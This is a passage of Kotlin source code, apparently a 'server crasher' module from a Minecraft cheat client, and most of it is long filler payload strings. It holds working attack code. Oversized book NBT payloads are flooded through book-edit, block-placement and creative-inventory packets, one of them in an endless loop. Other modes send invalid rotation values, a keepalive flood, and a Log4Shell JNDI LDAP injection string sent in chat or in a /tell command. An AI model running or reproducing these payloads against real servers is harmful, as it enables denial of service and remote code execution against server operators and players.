                        "a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a�0a"
                    )
                    for (i in 0..1) {
                        pages.appendTag(page as NBTBase)
                    }
                    nbt.setTag("pages", pages as NBTBase)
                    nbt.setTag("author", NBTTagString("MEDDL") as NBTBase)
                    nbt.setTag("title", NBTTagString("LEUDE") as NBTBase)
                    buffer.writeItemStackToBuffer(item)
                    PacketUtils.sendPacketNoEvent(C17PacketCustomPayload("MC|BEdit", buffer))
                }
                if (bookeditModeValue.get() == "3") {
                    val bookStack = ItemStack(Items.writable_book)
                    val bookCompound = NBTTagCompound()

                    bookCompound.setString("author", RandomUtils.randomNumber(20))
                    bookCompound.setString("title", RandomUtils.randomNumber(20))

                    val pageList = NBTTagList()
                    val pageText = RandomUtils.randomNumber(600)

                    for (i in 0..49) {
                        pageList.appendTag(NBTTagString(pageText))
                    }

                    bookCompound.setTag("pages", pageList)
                    bookStack.tagCompound = bookCompound

                    for (i in 0..99) {
                        val packetBuffer = PacketBuffer(Unpooled.buffer())
                        packetBuffer.writeItemStackToBuffer(bookStack)
                        PacketUtils.sendPacketNoEvent(
                            C17PacketCustomPayload(
                                if (Random().nextBoolean()) "MC|BSign" else "MC|BEdit",
                                packetBuffer
                            )
                        )
                    }
                }
            }

            "netty" -> {
                if (nettyModeValue.get() == "1") {
                    val size =
                        "................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."

                    val book3 = ItemStack(Items.writable_book)
                    val author = "Netty$size"

                    val tag3 = NBTTagCompound()
                    val list3 = NBTTagList()
                    for (i3 in 0..339) {
                        val tString = NBTTagString(size)
                        list3.appendTag(tString)
                    }
                    tag3.setString("author", author)
                    tag3.setString("title", size)
                    tag3.setTag("pages", list3)
                    if (book3.tagCompound != null) {
                        val tagb = book3.tagCompound
                        tagb?.setTag("pages", list3)
                    } else {
                        book3.setTagInfo("pages", list3)
                    }

                    PacketUtils.sendPacketNoEvent(
                        C08PacketPlayerBlockPlacement(
                            BlockPos(
                                mc.thePlayer!!.posX,
                                mc.thePlayer!!.posY - 2.0,
                                mc.thePlayer!!.posZ
                            ), 1, book3, 0.0f, 0.0f, 0.0f
                        )
                    )
                }
                if (nettyModeValue.get() == "2") {
                    val size2 =
                        "................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."

                    val book4 = ItemStack(Items.writable_book)
                    val author4 = "Netty$size2"

                    val tag4 = NBTTagCompound()
                    val list4 = NBTTagList()
                    for (i3 in 0..339) {
                        val tString = NBTTagString(size2)
                        list4.appendTag(tString)
                    }
                    tag4.setString("author", author4)
                    tag4.setString("title", size2)
                    tag4.setTag("pages", list4)
                    if (book4.tagCompound != null) {
                        val tagb = book4.tagCompound
                        tagb?.setTag("pages", list4)
                    } else {
                        book4.setTagInfo("pages", list4)
                    }

                    thread {
                        while (mc.netHandler.networkManager.isChannelOpen) {

                            PacketUtils.sendPacketNoEvent(C10PacketCreativeInventoryAction(100, book4))
                            try {
                                sleep(10L)
                            } catch (e: InterruptedException) {
                                e.printStackTrace()
                            }
                        }
                    }
                }
            }

            "rotation" -> {
                PacketUtils.sendPacketNoEvent(C03PacketPlayer.C05PacketPlayerLook(9.223372E18F, 9.223372E18F, true))
            }

            "log4j" -> {
                val str = "\${jndi:ldap://192.168.${RandomUtils.nextInt(1, 253)}.${RandomUtils.nextInt(1, 253)}}"
                mc.netHandler.addToSendQueue(
                    C01PacketChatMessage(
                        when (log4jModeValue.get().lowercase()) {
                            "chat" -> "${RandomUtils.randomString(5)}$str${RandomUtils.randomString(5)}"
                            "command" -> "/tell ${RandomUtils.randomString(10)} $str"
                            else -> str
                        }
                    )
                )
            }
        }
    }

    @EventTarget
    fun onUpdate(event: UpdateEvent) {
        when (modeValue.get().lowercase(Locale.getDefault())) {
            "keepalive" -> {
                for (i in 0..5999) {
                    PacketUtils.sendPacketNoEvent(C00PacketKeepAlive(Int.MAX_VALUE))
                }
            }

            "creativeitemcontrol" -> {
                val nbt = StringBuilder(
                    " \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 \u255d \u00a2 \u00a5 \u2510 \u2514 \u2534 \u252c \u251c \u2500 \u253c \u00e3 \u00c3  \u263c \u2259 \u2023 \u2587 \u20aa \u00bb \u00ab \u2551 \u2563 \u00a9 \u2557 